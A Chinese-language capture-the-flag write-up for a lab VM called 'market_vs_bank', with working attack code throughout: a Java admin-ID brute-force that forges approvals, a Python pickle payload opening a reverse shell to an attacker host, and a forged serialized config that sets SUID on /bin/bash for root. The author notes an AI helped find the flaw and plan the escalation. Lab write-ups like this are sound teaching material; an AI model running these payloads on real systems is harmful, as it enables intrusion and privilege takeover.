Loading

群友靶机market_vs_bank复现

nmap -p- 192.168.10.5   
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 03:10 EST
Nmap scan report for bank-server (192.168.10.5)
Host is up (0.00079s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
3306/tcp  closed mysql
8000/tcp  open   http-alt
14646/tcp open   unknown
MAC Address: 08:00:27:FA:2A:6A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

80端口可以下载客户端,连上可以访问14646端口管理系统,8000端口是市场系统。先注册一个号,发现需要绑定hash。然后大致看了一下是要去拿到管理员权限或者去伪造权限做到审批。那么现在的重点就是去逆向这个jar包。

注意到管理员和普通用户的客户端系统是不一样的

bank1

因此可以去改jar包来直接拿到管理员客户端进行审批。

另外一种思路。去看审批部分的代码

bank2

import java.io.*;
import java.net.Socket;

public class AdminBypassTool {
    public static void main(String[] args) {
        String host = "192.168.10.5";
        int port = 14646; // 请根据 ServerConfigFrame 中的实际端口修改
        int targetRequestId = 10;
        
        System.out.println("开始尝试绕过权限审批,目标申请ID: " + targetRequestId);

        // 尝试爆破 adminId (通常管理员ID为 1, 2, 3...)
        for (int fakeAdminId = 1; fakeAdminId <= 50; fakeAdminId++) {
            try (Socket socket = new Socket(host, port);
                 ObjectOutputStream out = new ObjectOutputStream(socket.getOutputStream())) {
                
                out.flush();
                ObjectInputStream in = new ObjectInputStream(socket.getInputStream());

                // 1. 握手阶段
                out.writeObject("PING");
                out.flush();
                Object pong = in.readObject();
                
                if ("PONG".equals(pong)) {
                    // 2. 发送伪造审批指令
                    out.writeObject("APPROVE_DEPOSIT_REQUEST");
                    out.writeObject(targetRequestId); // requestId
                    out.writeObject(fakeAdminId);      // 尝试不同的 adminId
                    out.writeObject("Security Testing Approve"); // remark
                    out.flush();

                    // 3. 读取结果
                    Object result = in.readObject();
                    if (result instanceof Boolean && (Boolean) result) {
                        System.out.println("[成功] 成功使用管理员ID: " + fakeAdminId + " 批准了申请!");
                        break; 
                    } else {
                        System.out.println("[失败] 管理员ID " + fakeAdminId + " 验证失败或无权限。");
                    }
                }
                
            } catch (Exception e) {
                System.err.println("[错误] 连接服务器失败: " + e.getMessage());
                break;
            }
        }
    }
}

爆破一下管理员id,拿下审批获得存款。取款然后购买神秘物质在/r00t_rooteabcsd.html路径下拿到root:toorcatshadow

发现系统配置相关功能,提示是pickle,大概率是打pickle反序列化。

直接一个反弹shell

import os
import pickle
import base64

LHOST = "192.168.10.11"
LPORT = "6666"
COMMAND = f'''export RHOST="{LHOST}";export RPORT={LPORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")\''''

# --- Payload 生成逻辑 ---
class Exploit(object):
    def __reduce__(self):
        # 执行系统命令
        return (os.system, (COMMAND,))

exp = Exploit()
payload = base64.b64encode(pickle.dumps(exp)).decode()

print("\n" + "="*50)
print("最终优化版 Base64 Payload:")
print("="*50 + "\n")
print(payload)
print("\n" + "="*50)
banker@bank-server:/opt/market$ id
uid=1000(banker) gid=1000(banker) groups=1000(banker)

现在拿下banker权限,开始考虑提权。发现可以sudo免密运行jar包。把jar包搞下来,逆向。

把代码丢给ai分析一下,发现反序列化漏洞。

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject(); // 执行默认反序列化
    if (this.initCommand != null && !this.initCommand.isEmpty()) {
        try {
            // 关键点:反序列化完成后立即执行 initCommand 中的命令
            Runtime.getRuntime().exec(this.initCommand);
        } catch (IOException e) {
        }
    }
}

bank3

在 Java 反序列化过程中,如果一个类重写了 readObject,那么在调用 ObjectInputStream.readObject() 时会自动执行该方法。由于该 jar 包被赋予了 sudo 权限,Runtime.getRuntime().exec() 启动的子进程将继承父进程的 root 权限。

ai给了一份提权方案

banker@bank-server:/tmp$ vim Poc.java
banker@bank-server:/tmp$ cat Poc.java
import com.bank.admin.AdminConfig;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class Poc {
    public static void main(String[] args) {
        try {
            // 1. 创建恶意配置对象
            AdminConfig config = new AdminConfig();
            
            // 2. 核心 Payload: 给 /bin/bash 加上 SUID 权限
            config.setInitCommand("chmod u+s /bin/bash");
            
            // 3. 关键点:文件名必须叫 admin.config
            String filename = "admin.config"; 
            
            FileOutputStream fos = new FileOutputStream(filename);
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            
            oos.writeObject(config);
            oos.close();
            
            System.out.println("[+] Malicious config generated: " + filename);
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
banker@bank-server:/tmp$ javac -cp /opt/bank-admin-tool-1.0.0.jar Poc.java
banker@bank-server:/tmp$ java -cp .:/opt/bank-admin-tool-1.0.0.jar Poc
[+] Malicious config generated: admin.config
banker@bank-server:/tmp$ sudo /usr/bin/bank-admin-tool
===========================================
    Bank Server Administration Tool v1.0
===========================================

Configuration loaded from admin.config
Connecting to localhost:14646...
Connected successfully.

Admin Username: admin
Admin Password: admin

✗ Login failed

Authentication failed. Exiting...

Disconnected from server.
banker@bank-server:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
banker@bank-server:/tmp$ /bin/bash -p
bash-5.0# id
uid=1000(banker) gid=1000(banker) euid=0(root) groups=1000(banker)
bash-5.0# cat /root/root.txt
flag{root-22ca34af1207f0478173b7a793b591bb47d5437d51377abb597a7f6bec3073da}


非常感谢您的参与 诸事顺遂


                        -by DingTom (MazeSec Team)

jar包启动加载配置并反序列化,伪造一个admin.config,让其中的 initCommand 包含提权指令,当 root 运行程序读取文件时,指令就会执行。

posted @ 2026-01-22 12:39  场-room  阅读(0)  评论(0)    收藏  举报